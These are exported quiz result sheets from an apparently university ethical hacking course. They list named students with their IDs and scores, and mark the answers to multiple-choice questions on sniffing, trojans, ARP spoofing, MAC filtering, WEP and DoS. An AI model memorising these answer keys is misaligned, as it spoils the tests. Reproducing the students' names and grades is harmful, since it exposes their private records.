+	3	IP Address
	4	MCA Address

School name
first row
second row
third row

test: Kuis-01 EH2-B (Reg Genap 2016-2017)

surname:	1472062
name:	DAVID CHRISTIAN ADITYA GUNADI
user:	1472062
start time:	2017-02-03 13:30:31
end time:	2017-02-03 14:09:29
time:	00:38:58
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**55.000 / 100.000 (55%) - NOT PASSED**

Kuis-01 EH2-B (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	5.000	281473913980675	13:30:31	14:09:29	38:58	5.06

Which protocol is not susceptible to sniffer?

	1	telnet
+	2	https
	3	http
	4	pop3

2 S	0.000	281473913980675	13:32:39	13:34:04	01:25	84.896

... are distinguished from viruses by the fact that a virus requires some form of the human intervention to infect a computer, whereas it doesn't.

	1	Pranks
-	2	Trojan
	3	Hoax
	4	Worms

3 S	0.000	281473913980675	13:34:04	13:58:05	24:01	196.079

MAC flooding is method that force a ... to act or work as a hub.

	1	Hub
-	2	Router
	3	Switch
	4	Access Point

4 S	5.000	281473913980675	13:35:41	13:37:29	01:48	107.868

... combines two programs into single file, usually used to hide trojan.

	1	A router
+	2	A wrapper
	3	A firewall
	4	An attacker

5 S	5.000	281473913980675	13:37:29	13:38:22	00:53	53.175

Which method is the most difficult to detect ?

	1	Agressive sniffing
	2	Active sniffing
+	3	Passive sniffing
	4	Silent sniffing

6 S	5.000	281473913980675	13:38:22	13:38:52	00:30	30.61

Most viruses operate in two phases, Infection Phase and ...

	1	Breeding Phase
	2	Defend Phase
	3	Local Phase
+	4	Attack Phase

7 S	0.000	281473913980675	13:38:52	13:39:28	00:36	35.903

... trojan will destroys operating system when executed.

-	1	Remote access
	2	Destructive
	3	Data-Sending
	4	DoS Attack

8 S	0.000	281473913980675	13:39:28	13:41:02	01:34	93.478

... is a technique for active sniffing.

	1	Broadcast flooding
-	2	MAC sniffing
	3	IP spoofing
	4	ARP spoofing

9 S	0.000	281473913980675	13:41:02	14:09:18	28:16	12.864

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

-	1	Spoofing
	2	Cryptographic
	3	Firmware
	4	Research projects

10 S	5.000	281473913980675	13:42:45	13:52:45	10:00	65.916

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Domain Address
	2	MCA Address
	3	Web Address
+	4	IP Address

11 S	0.000	281473913980675	13:44:25	13:51:39	07:14	38.089

.. are malicious pieces of code that carry cracker software to a target system.

	1	Overt
	2	Firewall
	3	Trojans
-	4	Antivirus

12 S	0.000	281473913980675	13:44:52	14:09:04	24:12	41.46

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

-	1	Conduct MiTM against the switch
	2	Flood switch with ICMP packets
	3	Launch smurf attack against the switch
	4	ARP spoof the default gateway

13 S	5.000	281473913980675	13:44:53	14:08:16	23:23	20.155

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

+	1	ICMP Tunneling
	2	Over Channel
	3	Proxy Server
	4	Destructive Trojan

14 S	5.000	281473913980675	13:44:54	14:07:55	23:01	124.563

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	ipconfig -a
	2	ifconfig -s
	3	route print
+	4	netstat -an

15 S	5.000	281473913980675	13:47:14	14:05:51	18:37	72.225

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network.

The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because wireless networks can't enable encryption
	2	Because all traffic is clear text, even when encrypted
	3	Because wireless traffic uses only UDP which is easier to sniff
+	4	Because wireless access points act like hubs on a network

16 S	5.000	281473913980675	13:47:15	14:04:39	17:24	93.226

You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open.

What is the next step you would do?

	1	Re-run anti-virus software.
	2	Install and run Trojan removal software.
	3	Re-install the operating system.
+	4	Run utility CurrPorts and look for the application executable that listens on port 6666.

17 S	0.000	281473913980675	13:47:17	13:50:34	03:17	53.733

Sniffing that conducted through a switch can be categorized as ...

	1	Active sniffing
-	2	Passive sniffing
	3	Silent sniffing
	4	Agressive sniffing

18 S	5.000	281473913980675	13:47:18	13:48:18	01:00	59.496

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

	1	PCAP
	2	NTPCAP
	3	LibPCAP
+	4	WinPCAP

19 S	5.000	281473913980675	13:48:18	14:03:03	14:45	90.628

You receive an e-mail with the following text message. "Microsoft and AOL today warned all customers that a new, highly dangerous virus has been discovered which will erase all your files at midnight. If there's a file called hidserv.exe on your computer, you have been infected and your computer is now running a hidden server that allows hackers to access your computer.
Delete the file immediately. Please also pass this message to all your friends and colleagues as soon as possible."
You launch your antivirus software and scan the suspicious looking file hidserv.exe located in c:\windows directory and the AV comes out clean meaning the file is not infected.
You view the file signature and confirm that it is a legitimate Windows system file "Human Interface Device Service".

What category of virus is this?

	1	Spooky Virus
	2	Polymorphic Virus
+	3	Virus hoax
	4	Stealth Virus

20 S	0.000	281473913980675	13:48:20	14:01:32	13:12	79.139

What is sniffing ?

	1	Hacking Method
-	2	Cracking Method
	3	Data Interception Technology
	4	Password Generator

School name
first row
second row
third row

test: Kuis-01 EH2-B (Reg Genap 2016-2017)

surname:	1472016
name:	WILFRED
user:	1472016
start time:	2017-02-03 13:30:24
end time:	2017-02-03 13:52:16
time:	00:21:52
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**80.000 / 100.000 (80%) - PASSED**

Kuis-01 EH2-B (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]

1 S	5.000		281473913980702	13:30:24	13:31:38	01:14	74.142
Which method is the most difficult to detect ?							
	1	Agressive sniffing					
	2	Active sniffing					
	3	Silent sniffing					
+	4	Passive sniffing					

2 S	5.000		281473913980702	13:31:38	13:32:56	01:18	77.773
... combines two programs into single file, usually used to hide trojan.							
	1	A firewall					
+	2	A wrapper					
	3	A router					
	4	An attacker					

3 S	5.000		281473913980702	13:32:56	13:34:19	01:23	83.009
Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position. Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking. What technique could Harold use to sniff agency's switched network?							
+	1	ARP spoof the default gateway					
	2	Flood switch with ICMP packets					
	3	Launch smurf attack against the switch					
	4	Conduct MiTM against the switch					

4 S	5.000		281473913980702	13:34:19	13:35:02	00:43	42.956
You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open. What is the next step you would do?							
	1	Install and run Trojan removal software.					
	2	Re-run anti-virus software.					
+	3	Run utility CurrPorts and look for the application executable that listens on port 6666.					
	4	Re-install the operating system.					

5 S	5.000		281473913980702	13:35:02	13:35:37	00:35	34.997
Most viruses operate in two phases, Infection Phase and ...							
	1	Defend Phase					
+	2	Attack Phase					
	3	Local Phase					
	4	Breeding Phase					

6 S	5.000		281473913980702	13:35:37	13:38:33	02:56	176.512
Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library. What is the name of this library?							
	1	NTPCAP					
+	2	WinPCAP					
	3	PCAP					
	4	LibPCAP					

7 S	5.000	281473913980702	13:38:33	13:39:15	00:42	41.79

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Proxy Server
	2	Destructive Trojan
	3	Over Channel
+	4	ICMP Tunneling

8 S	0.000	281473913980702	13:39:15	13:39:54	00:39	39.301

What is sniffer?

-	1	A computer that distributes fake MAC address
	2	Person who hack the network
	3	A server that send continuous packet to a victim
	4	A program or device that captures the information from the network traffic

9 S	5.000	281473913980702	13:39:54	13:41:37	01:43	102.776

MAC flooding is method that force a ... to act or work as a hub.

+	1	Switch
	2	Access Point
	3	Router
	4	Hub

10 S	0.000	281473913980702	13:41:37	13:44:06	02:29	148.313

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

-	1	Spoofing
	2	Firmware
	3	Cryptographic
	4	Research projects

11 S	5.000	281473913980702	13:44:06	13:44:49	00:43	43.295

... trojan starts a hidden proxy server on the victim's computer.

+	1	Proxy server
	2	FTP
	3	Destructive
	4	Remote Access

12 S	0.000	281473913980702	13:44:49	13:45:31	00:42	37.201

Trojans are used primarily to Gain and ... on the target system.

-	1	Destroy
	2	Obtain
	3	Defend
	4	Retain access

13 S	5.000	281473913980702	13:45:31	13:45:43	00:12	11.584

Which protocol is not susceptible to sniffer?

	1	http
	2	telnet
	3	pop3
+	4	https

14 S	5.000	281473913980702	13:45:43	13:46:49	01:06	65.559

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because wireless networks can't enable encryption
+	2	Because wireless access points act like hubs on a network
	3	Because all traffic is clear text, even when encrypted
	4	Because wireless traffic uses only UDP which is easier to sniff

15 S	5.000	281473913980702	13:46:49	13:47:04	00:15	15.611

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

	1	Good
	2	Aware
	3	Careful
+	4	Careless

16 S	5.000	281473913980702	13:47:04	13:48:59	01:55	114.982

... is a technique for active sniffing.

	1	IP spoofing
	2	Broadcast flooding
+	3	ARP spoofing
	4	MAC sniffing

17 S	5.000	281473913980702	13:48:59	13:50:06	01:07	66.386

Sniffing that conducted through a switch can be categorized as ...

	1	Silent sniffing
+	2	Active sniffing
	3	Agressive sniffing
	4	Passive sniffing

18 S	5.000	281473913980702	13:50:06	13:50:47	00:41	41.354

.. are malicious pieces of code that carry cracker software to a target system.

+	1	Trojans
	2	Antivirus
	3	Overt
	4	Firewall

19 S	5.000	281473913980702	13:50:47	13:51:40	00:53	52.791

ARP is the name of a protocol that convert an ... to MAC Address.

	1	MCA Address
	2	Web Address
	3	Domain Address
+	4	IP Address

20 S	0.000	281473913980702	13:51:40	13:52:16	00:36	35.507

... is a channel that transfers information within a computer system, or network, in a way that violates security policy.

	1	Backdoor Channel
-	2	Trojan Channel
	3	Overt Channel
	4	Covert Channel

School name
first row
second row
third row

test: Kuis-01 EH2-B (Reg Genap 2016-2017)

surname:	1472020
name:	AUDY
user:	1472020
start time:	2017-02-03 13:30:34
end time:	2017-02-03 13:56:54
time:	00:26:20
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**80.000 / 100.000 (80%) - PASSED**

Kuis-01 EH2-B (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	5.000	281473913980697	13:30:34	13:56:24	25:50	69.434

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

+	1	ARP spoof the default gateway
	2	Conduct MiTM against the switch
	3	Flood switch with ICMP packets
	4	Launch smurf attack against the switch

2 S	5.000	281473913980697	13:33:55	13:35:38	01:43	95.233

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Destructive Trojan
	2	Over Channel
+	3	ICMP Tunneling
	4	Proxy Server

3 S	5.000	281473913980697	13:35:38	13:35:46	00:08	8.454

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

	1	LibPCAP
	2	NTPCAP
	3	PCAP
+	4	WinPCAP

4 S	5.000	281473913980697	13:35:46	13:38:07	02:21	140.959

June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs.

Can June use an antivirus program in this case and would it be effective against a polymorphic virus?

	1	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus
+	2	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program
	3	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus
	4	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus

5 S	0.000	281473913980697	13:38:07	13:40:52	02:45	164.745

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

	1	Firmware
-	2	Spoofing
	3	Research projects
	4	Cryptographic

6 S	5.000	281473913980697	13:40:52	13:56:41	15:49	11.045

C:\> .....

Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	ifconfig -s
	2	ipconfig -a
+	3	netstat -an
	4	route print

7 S	5.000	281473913980697	13:41:07	13:42:52	01:45	105.114

Which method is the most difficult to detect ?

	1	Active sniffing
	2	Silent sniffing
+	3	Passive sniffing
	4	Agressive sniffing

8 S	5.000	281473913980697	13:42:52	13:43:00	00:08	8.564

.. are malicious pieces of code that carry cracker software to a target system.

	1	Firewall
+	2	Trojans
	3	Antivirus
	4	Overt

9 S	5.000	281473913980697	13:43:00	13:43:38	00:38	37.719

Sniffing that conducted through a hub can be categorized as ...

	1	Active sniffing
+	2	Passive sniffing
	3	Agressive sniffing
	4	Silent sniffing

10 S	5.000	281473913980697	13:43:38	13:44:06	00:28	27.772

What is sniffer?

	1	A computer that distributes fake MAC address
	2	Person who hack the network
	3	A server that send continuous packet to a victim
+	4	A program or device that captures the information from the network traffic

11 S	0.000	281473913980697	13:44:06	13:44:48	00:42	42.225

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because wireless traffic uses only UDP which is easier to sniff
	2	Because all traffic is clear text, even when encrypted
	3	Because wireless access points act like hubs on a network
-	4	Because wireless networks can't enable encryption

12 S	5.000	281473913980697	13:44:48	13:46:13	01:25	84.914

... trojan will destroys operating system when executed.

	1	Data-Sending
	2	DoS Attack
+	3	Destructive
	4	Remote access

13 S	5.000	281473913980697	13:46:13	13:46:52	00:39	39.17

MAC flooding is method that force a ... to act or work as a hub.

	1	Hub
	2	Access Point
+	3	Switch
	4	Router

14 S	5.000	281473913980697	13:46:52	13:47:05	00:13	12.369

Trojans are used primarily to Gain and ... on the target system.

	1	Defend
+	2	Retain access
	3	Obtain
	4	Destroy

15 S	5.000	281473913980697	13:47:05	13:49:04	01:59	119.349

Which protocol is not susceptible to sniffer?

	1	http
	2	pop3
+	3	https
	4	telnet

16 S	5.000	281473913980697	13:49:04	13:49:38	00:34	33.405

ARP is the name of a protocol that convert an ... to MAC Address.

	1	MCA Address
	2	Web Address
+	3	IP Address
	4	Domain Address

17 S	5.000	281473913980697	13:49:38	13:50:19	00:41	41.732

Most viruses operate in two phases, Infection Phase and ...

+	1	Attack Phase
	2	Local Phase
	3	Defend Phase
	4	Breeding Phase

18 S	0.000	281473913980697	13:50:19	13:51:56	01:37	96.971

... are distinguished from viruses by the fact that a virus requires some form of the human intervention to infect a computer, whereas it doesn't.

-	1	Trojan
	2	Worms
	3	Pranks
	4	Hoax

19 S	5.000	281473913980697	13:51:56	13:52:01	00:05	4.917

... combines two programs into single file, usually used to hide trojan.

+	1	A wrapper
	2	A firewall
	3	A router
	4	An attacker

20 S	0.000	281473913980697	13:52:02	13:56:54	04:52	4

What is sniffing ?

	1	Cracking Method
	2	Data Interception Technology
-	3	Hacking Method
	4	Password Generator

School name
first row
second row
third row

test: Kuis-01 EH2-B (Reg Genap 2016-2017)

surname:	1472033
name:	ANDREAS WINOTO
user:	1472033
start time:	2017-02-03 13:30:37
end time:	2017-02-03 14:09:49
time:	00:39:12
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**85.000 / 100.000 (85%) - PASSED**

Kuis-01 EH2-B (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	5.000	281473913980696	13:30:37	13:34:20	03:43	222.322

Sniffing that conducted through a switch can be categorized as ...

	1	Silent sniffing
	2	Agressive sniffing
+	3	Active sniffing
	4	Passive sniffing

2 S	5.000	281473913980696	13:34:20	13:37:06	02:46	165.877

MAC flooding is method that force a ... to act or work as a hub.

	1	Router
	2	Access Point
	3	Hub
+	4	Switch

3 S	5.000	281473913980696	13:37:08	13:39:36	02:28	147.542

Which method is the most difficult to detect ?

	1	Agressive sniffing
	2	Active sniffing
+	3	Passive sniffing
	4	Silent sniffing

4 S	5.000	281473913980696	13:39:36	13:41:22	01:46	106.042

Which protocol is not susceptible to sniffer?

	1	telnet
+	2	https
	3	pop3
	4	http

5 S	5.000	281473913980696	13:41:22	13:42:49	01:27	87.131

What is sniffer?

	1	Person who hack the network
+	2	A program or device that captures the information from the network traffic
	3	A computer that distributes fake MAC address
	4	A server that send continuous packet to a victim

6 S	5.000	281473913980696	13:42:51	13:44:17	01:26	86.161

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

+	1	ICMP Tunneling
	2	Over Channel
	3	Destructive Trojan
	4	Proxy Server

7 S	5.000	281473913980696	13:44:17	13:48:23	04:06	245.873

... trojan will destroys operating system when executed.

	1	DoS Attack
	2	Data-Sending
	3	Remote access
+	4	Destructive

8 S	5.000	281473913980696	13:48:23	13:49:06	00:43	42.662

Sniffing that conducted through a hub can be categorized as ...

	1	Silent sniffing
	2	Agressive sniffing
	3	Active sniffing
+	4	Passive sniffing

9 S	0.000	281473913980696	13:49:06	13:51:22	02:16	136.192

... combines two programs into single file, usually used to hide trojan.

	1	A router
	2	A firewall
	3	A wrapper
-	4	An attacker

10 S	5.000	281473913980696	13:51:24	13:52:08	00:44	44.021

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

+	1	WinPCAP
	2	LibPCAP
	3	PCAP
	4	NTPCAP

11 S	5.000	281473913980696	13:52:08	13:55:09	03:01	181.392

... is a channel that transfers information within a computer system, or network, in a way that violates security policy.

	1	Trojan Channel
	2	Backdoor Channel
	3	Overt Channel
+	4	Covert Channel

12 S	5.000	281473913980696	13:55:09	13:55:59	00:50	50.178

.. are malicious pieces of code that carry cracker software to a target system.

	1	Firewall
+	2	Trojans
	3	Antivirus
	4	Overt

13 S	5.000	281473913980696	13:55:59	13:58:11	02:12	131.557

Most viruses operate in two phases, Infection Phase and ...

	1	Breeding Phase
	2	Defend Phase
+	3	Attack Phase
	4	Local Phase

14 S	5.000	281473913980696	13:58:13	14:00:54	02:41	147.454

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Web Address
	2	Domain Address
	3	MCA Address
+	4	IP Address

15 S	5.000	281473913980696	14:00:54	14:03:08	02:14	133.716

... trojan starts a hidden proxy server on the victim's computer.

+	1	Proxy server
	2	FTP
	3	Remote Access
	4	Destructive

16 S	5.000	281473913980696	14:03:08	14:05:18	02:10	130.061

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

	1	Because wireless traffic uses only UDP which is easier to sniff
	2	Because wireless networks can't enable encryption
+	3	Because wireless access points act like hubs on a network
	4	Because all traffic is clear text, even when encrypted

17 S	0.000	281473913980696	14:05:18	14:06:17	00:59	59.162

... are distinguished from viruses by the fact that a virus requires some form of the human intervention to infect a computer, whereas it doesn't.

	1	Worms
-	2	Trojan
	3	Pranks

	4	Hoax

18 S	5.000	281473913980696	14:06:17	14:08:46	02:29	148.523

... is a technique for active sniffing.

	1	MAC sniffing
+	2	ARP spoofing
	3	Broadcast flooding
	4	IP spoofing

19 S	0.000	281473913980696	14:08:46	14:09:06	00:20	20.002

Trojans are used primarily to Gain and ... on the target system.

	1	Retain access
-	2	Destroy
	3	Defend
	4	Obtain

20 S	5.000	281473913980696	14:09:06	14:09:49	00:43	42.456

You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open.

What is the next step you would do?

	1	Re-run anti-virus software.
	2	Re-install the operating system.
	3	Install and run Trojan removal software.
+	4	Run utility CurrPorts and look for the application executable that listens on port 6666.

School name
first row
second row
third row

test: Kuis-02 EH2-A (Reg Genap 2016-2017)

surname:	1472001
name:	FENITA SUPRAPTO
user:	1472001
start time:	2017-02-27 13:38:18
end time:	2017-02-27 14:08:44
time:	00:30:26
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**65.000 / 100.000 (65%) - NOT PASSED**

Kuis-02 EH2-A (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]

1 S	0.000		281473913984532	13:38:18	13:46:05	07:47	84.876

You come across a WiFi network in your neighborhood. You pull up your hardware WiFi sniffer from your car and tune into 802.11a network to sniff the Wireless traffic for sensitive data.

What frequency will you tune the Wireless hardware device to?

	1	900MHz-2.462 GHz
	2	5.15-5.825 GHz
	3	2.323-2.462 GHz
-	4	2.412-2.462 GHz

2 S	5.000		281473913984532	13:40:14	13:41:00	00:46	45.385

To launch a DDoS attack, an attacker uses ... and attacks a single system.

	1	Scanner
+	2	Botnets
	3	Firewall
	4	Fuzzer

3 S	0.000		281473913984532	13:41:00	13:44:39	03:39	219.223

A method that uses a list of MAC addresses of client wireless interface cards that are allowed to associated with the access point is knowned as ...

	1	MAC Filter
-	2	MAC Sniffing
	3	MAC Sanityzer
	4	MAC Spoofing

4 S	5.000		281473913984532	13:46:06	13:47:35	01:29	88.599

Access control is often implemented through the use of MAC address filtering on wireless Access Points.

Why is this considered to be a very limited security measure?

	1	Vendors MAC address assignment is published on the Internet.
+	2	The MAC address is broadcasted and can be captured by a sniffer.
	3	The MAC address is used properly only on Macintosh computers.
	4	The MAC address is not a real random number.

5 S	5.000		281473913984532	13:47:35	13:49:37	02:02	122.097

Paul has just finished setting up his wireless network. He has enabled numerous security features such as changing the default SSID, enabling WPA encryption and enabling MAC filtering on hi wireless router. Paul notices when he uses his wireless connection, the speed is sometimes 54 Mbps and sometimes it is only 24mbps or less. Paul connects to his wireless router's management utility and notices that a machine with an unfamiliar name is connected through his wireless connection. Paul checks the router's logs and notices that the unfamiliar machine has the same MAC address as his laptop.

What is Paul seeing here?

+	1	MAC Spoofing
	2	Macof
	3	ARP Spoofing
	4	DNS Spoofing

6 S	0.000		281473913984532	13:49:37	13:57:04	07:27	12.999

WEP is used on 802.11 networks, what was it designed for?

	1	WEP is designed to provide a wireless local area network (WLAN) with a level of privacy comparable to what it usually expected of a wired LAN.
-	2	WEP is designed to provide a wireless local area network (WLAN) with a level of availability and privacy comparable to what is usually expected of a wired LAN.
	3	WEP is designed to provide strong encryption to a wireless local area network (WLAN) with a lever of integrity and privacy adequate for sensible but unclassified information.
	4	WEP is designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what it usually expected of a wired LAN.

7 S	5.000	281473913984532	13:53:10	13:55:25	02:15	23.145

Hampton is the senior security analyst for the city of Columbus in Ohio. His primary responsibility is to ensure that all physical and logical aspects of the city's computer network are secure from all angles.

Bill is an IT technician that works with Hampton in the same IT department. Bill's primary responsibility is to keep PC's and servers up to date and to keep track of all the agency laptops that the company owns and lends out to its employees.

After Bill setup a wireless network for the agency, Hampton made sure that everything was secure. He instituted encryption, rotating keys, turned off SSID broadcasting, and enabled MAC filtering. According to agency policy, only company laptops are allowed to use the wireless network, so Hampton entered all the MAC addresses for those laptops into the wireless security utility so that only those laptops should be able to access the wireless network.

Hampton does not keep track of all the laptops, but he is pretty certain that the agency only purchases Dell laptops. Hampton is curious about this because he notices Bill working on a Toshiba laptop one day and saw that he was on the Internet. Instead of jumping to conclusions, Hampton decides to talk to Bill's boss and see if they had purchased a Toshiba laptop instead of the usual Dell. Bill's boss said no, so now Hampton is very curious to see how Bill is accessing the Internet. Hampton does site surveys every couple of days, and has yet to see any outside wireless network signals inside the company's building.

How was Bill able to get Internet access without using an agency laptop?

	1	Toshiba and Dell laptops share the same hardware address
+	2	Bill spoofed the MAC address of Dell laptop
	3	Bill connected to a Rogue access point
	4	Bill brute forced the Mac address ACLs

8 S	5.000	281473913984532	13:55:25	13:58:05	02:40	59.628

In an attempt to secure his wireless network, Bob change the default SSID and also turns off broadcasting of the SSID. He concludes that since his access points require the client computer to have the proper SSID, it would prevent others from connecting to the wireless network. Unfortunately unauthorized users are still able to connect to the wireless network.

Why do you think this is possible?

	1	Bob's solution only works in ad-hoc mode
+	2	The SSID is still sent in plain text between client and AP
	3	All access points are shipped with a default SSID
	4	Bob forgot to turn off DHCP

9 S	5.000	281473913984532	13:58:05	13:59:30	01:25	84.604

... is an attack on computer or network that prevents legitimate use of its resources.

	1	XSS
	2	SQL Injection
	3	Port Scanning
+	4	Denial of Service

10 S	5.000	281473913984532	13:59:30	14:00:00	00:30	29.978

... is a tool that can be used to break the WEP encryption key.

+	1	airCrack
	2	airSniff
	3	airHack
	4	airoDump

11 S	5.000	281473913984532	14:00:00	14:00:18	00:18	17.989

What is one of the primary factors that driven the popularity of wireless network ?

	1	Security
+	2	Convenience
	3	Confidentiality
	4	Speed

12 S	0.000	281473913984532	14:00:18	14:00:55	00:37	37.738

DoS detection techniques are based on identifying and discriminating ...

	1	The legitimate traffic decrease
-	2	The legitimate traffic increase
	3	The illegitimate traffic decrease
	4	The illegitimate traffic increase

